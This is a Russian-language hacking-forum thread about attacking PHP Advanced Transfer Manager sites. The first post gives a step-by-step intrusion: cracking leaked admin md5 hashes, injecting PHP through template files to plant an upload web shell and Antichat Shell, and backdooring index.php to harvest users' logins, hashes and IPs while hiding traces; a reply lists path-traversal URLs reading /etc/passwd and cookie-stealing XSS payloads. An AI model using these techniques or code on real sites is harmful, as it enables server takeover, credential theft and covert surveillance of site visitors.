PHP Advanced Transfer Manager

Discussion in 'Уязвимости' started by sadfeel, 8 Dec 2008.

  1. sadfeel

    sadfeel Member

    Joined:
    5 Nov 2008
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0
    Вобщем ошибка этого движка заключается в том, что при указании пути в браузере - название_сайта/users/имя_юзера показывается md5 хеш пароля юзера и его мыло. Вот что из этого можно поиметь:

    Для начала нужно качнуть хороший словарь для брута и софтину PasswordsPro (например). Главная цель - расшифровать хеш админа (в большенстве случаев ник админа - Admin или admin, стандартный пароль - test). В браузере пишем название_сайта/users/Admin . Расшифровываем хеш............ Логинимся.......

    Следующая дыра заключается в том что можно самостоятельно (если права позволяют) вставлять любой код в страницу с сайтом. для этого под админом заходим в настройки сайта (configure.php), выбираем любой файл из списка:

    footer.htm
    header.htm
    info.htm
    mailinfo.htm

    далее откроется окно редактирования. здесь можете писать все что душе вздумается. Главное знание PHP. я прописывал следующее:

    PHP:
    <?
    $fp=fopen("languages/ml.php","a+");
    $tmp='<?php
    if ($File&& $File != "none") {
    copy($File, $File_name);
    }
    ?>
    <FORM ENCTYPE="multipart/form-data" align="center" ACTION="<?php echo"$PHP_SELF"; ?>" METHOD="POST">
    <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="100000">
    <INPUT NAME="File" TYPE="file">
    <INPUT TYPE="submit" VALUE="загрузить">
    </FORM>'
    ;
    fputs($fp,$tmp);
    fclose($fp);
    ?>
    После сохранения в директории имя_сайта/languages/ создавался файл ml.php с помощью которого можно заливать файлы на сервер (если сервер поддерживает). после этого нужно сразу вернутся назад и удалить все что писали, а то любой юзер находящийся на сайте будет при заходе на любую страницу делать рефреш коду и он будет выполнятся.


    Далее я заливал Antichat Shell.



    Также можно использовать следующий код:

    PHP:
    <?php
    unlink
    ('include/mess.php')
    ?>
    <?
    $fp=fopen("include/mess.php","a+");
    $tmp='<?php die("")?>';
    fputs($fp,$tmp);
    fclose($fp);
    ?>
    После сохранения возвращяемся назад и вместо этого кода копируем:

    PHP:
    <? $fp=fopen("index.php","a+"); 
    $tmp='<?php $win=getenv("windir"); $path=getenv("path"); $ip=getenv("Remote_addr");$fp=fopen ("include/mess.php","a+");
    fputs($fp,"\\r\\n$logged_user_name-$enc_user_pass\\t$user_email\\t$ip\\t$win id=$activationcode");  ?>'

    fputs($fp,$tmp); fclose($fp); ?>
    Этим мы создаем:
    1. файл в директории /include с названием mess.php;
    2. дописываем к странице index.php код который позволяет сохранить информацию о юзере в файл mess.php. там будет ip, хеш и логин.

    время от времени нужно будет "заглядывать" в файл include/mess.php и очищать его (а то будет палевно когда место будет исчезать). Как это сделать? вот код который нужно прописывать опять же в каком либо из файлов footer.htm header.htm info.htm mailinfo.htm:


    для удаления файла:

    PHP:
    <? unlink ('include/mess.php'); ?>
    для просмотра нужно либо скопировать файл в какую нибудь директорию с измененным расширением:

    PHP:
    <? 
    $file1 'include/mess.php';
    $file2 'include/mess.txt';
    copy($file1$file2);
    ?>
    или с помощью шелла просмотреть содержимое этого файла (include/mess.php).

    Так как пользователь заходит несколько раз то после копирования данных желательно их провести через скрипт:

    PHP:
    <?php 
    $file 
    file('file.txt'); 
    $new fopen('new.txt','at'); 
    $file array_unique($file); 
    foreach(
    $file as $string

           
    fputs($new,$string); 

    fclose($new); 
    ?>
    он удаляет повторные строки.


    Заключение:

    Это возможно если на сервере установлены соответствующие права. возможна и такая ситуация когда скрипт для заливки файлов на сервер не будет работать. тогда просто берем, открываем файл Antichat Shell.php и копируем его содержимое в один из файлов footer.htm header.htm info.htm mailinfo.htm. После внизу будет находится строка для ввода логина и пароля. Минус в том что это будут видеть все зашедшие, но если вам это нужно (быстро шото замутить на сервере) то валяйте ;)


    скрипты и сам шел можно скачать от сюда

    Удачи! и не сильно критикуйте :)
     
  2. +StArT+

    +StArT+ Elder - Старейшина

    Joined:
    10 Feb 2007
    Messages:
    24
    Likes Received:
    51
    Reputations:
    3
    На самом деле это далеко не все "ошибки" данного скрипта, достаточно заюзать поиск по багтрекам..
    да и простые манипуляции с расширением файла вполне проходят..
    Имхо тема не раскрыта.
    +1 за старание.
     
    1 person likes this.
  3. sadfeel

    sadfeel Member

    Joined:
    5 Nov 2008
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0
    Добавления:


    источник http://www.xakep.ru/post/35874


    Уязвимость позволяет удаленному злоумышленнику получить содержимое произвольных файлов на целевой системе. Уязвимость существует из-за ошибки в обработке входных данных в параметре «current_dir» сценариями html.php и htm.php. Атакующий может получить содержимое произвольных файлов на целевой системе.

    Примеры:

    http://site.gov.pl/upload/viewers/html.php?current_dir=..&filename=[file]
    http://site.gov.pl/upload/viewers/htm.php?current_dir=..&filename=[file]
    http://site.gov.pl/upload/viewers/htm.php?current_dir=С:\&filename=program.exe


    Уязвимость позволяет удаленному пользователю произвести XSS нападение. Удаленный пользователь с привилегиями на загрузку файлов может загрузить произвольный HTML сценарий и выполнить его в контексте безопасности уязвимого сайта.

    Пример:

    <IMG SRC="_javascript:alert('hba from all iranian hacker');">



    Обнаруженные уязвимости позволяют удаленному пользователю произвести XSS нападение и просмотреть произвольные файлы на системе.

    1. Уязвимость существует из-за того, что программное обеспечение не обрабатывает должным образом входные данные в параметрах 'currentdir' и 'current_dir'. Удаленный пользователь может с помощью специально сформированного URL, содержащего символы обхода каталога, просмотреть произвольные файлы на системе с привилегиями Web сервера.

    Пример:

    http://[target]/[path]/viewers/txt.php?currentdir= ../../../../../../../etc/passwd%00
    http://[target]/[path]/viewers/txt.php?c urrentdir= ../../../../../../../etc&filename=passwd
    http://[target]/[path]/viewers/htm.php?current_dir= ../../../../../../../etc/passwd%00
    http://[target]/[path]/viewers/ htm.php?current_dir= ../../../../../../../etc&filename=passwd
    http://[target]/[path]/viewers/html.php?current_dir= ../../../../../../../etc/passwd%00
    http://[target]/[pat h]/viewers/html.php?current_dir= ../../../../../../../etc&filename=passwd
    http://[target]/phpatm/viewers/zip.php?current_dir= ../../../../../../../[filename].zip%00
    http://[target]/phpatm/viewers/zip.php?current_dir= ../../../.. /../../..&filename=[filename].zip

    2. Межсайтовый скриптинг возможен из-за отсутствия проверки входных данных в некоторых переменных. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

    Пример:

    http://[target]/[path]/viewers/txt.php?font=% 22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
    http://[target]/[path]/viewers/txt.php?normalfontcolor=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
    http:/ /[target]/[path]/viewers/txt.php?mess[31]=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
     
    1 person likes this.